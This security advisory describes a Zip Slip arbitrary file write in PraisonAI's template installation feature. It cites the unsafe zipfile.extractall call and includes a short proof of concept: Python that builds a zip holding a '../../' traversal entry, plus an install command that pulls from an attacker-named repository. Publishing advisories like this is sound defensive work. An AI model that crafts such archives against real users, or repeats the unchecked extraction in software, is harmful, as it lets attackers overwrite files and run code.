PT-2026-59536 · Pypi · Praisonai

Published

2026-07-13

·

Updated

2026-07-13

CVSS v3.1

8.1

High

VectorAV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
The PraisonAI templates installation feature is vulnerable to a "Zip Slip" Arbitrary File Write attack. When downloading and extracting template archives from external sources (e.g., GitHub), the application uses Python's zipfile.extractall() without verifying if the files within the archive resolve outside of the intended extraction directory.

Details

Location: src/praisonai/praisonai/cli/features/templates.py (Line 852)
Vulnerable Code snippet:
python
zip ref.extractall(tmpdir)
During installation, the CLI downloads a ZIP archive and extracts it directly into a temporary directory using zip ref.extractall(tmpdir). A specially crafted ZIP archive can contain file entries with relative paths (such as ../../../../tmp/evil.sh). If extracting this archive in older Python versions or environments where extraction rules aren't strict, extractall will write these files outside the target directory, allowing an attacker to overwrite arbitrary files on the victim's filesystem.

PoC

  1. Generate a malicious zip payload:
python
import zipfile

with zipfile.ZipFile('malicious template.zip', 'w') as z:
  # Adding a file that traverses directories
  z.writestr('../../../../../../../tmp/zip slip pwned.txt', 'pwned by zip slip')
  1. Trick a user into installing the malicious template:
bash
praisonai templates install github:attacker/malicious template
  1. Observe the zip slip pwned.txt file created in /tmp/ on the victim's machine.

Impact

This is an Arbitrary File Write vulnerability affecting any user who installs community templates. It can be leveraged to overwrite system files, user dotfiles, or application code, ultimately leading to system corruption or full Remote Code Execution (RCE).

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

Related Identifiers

PYSEC-2026-2899

Affected Products

Praisonai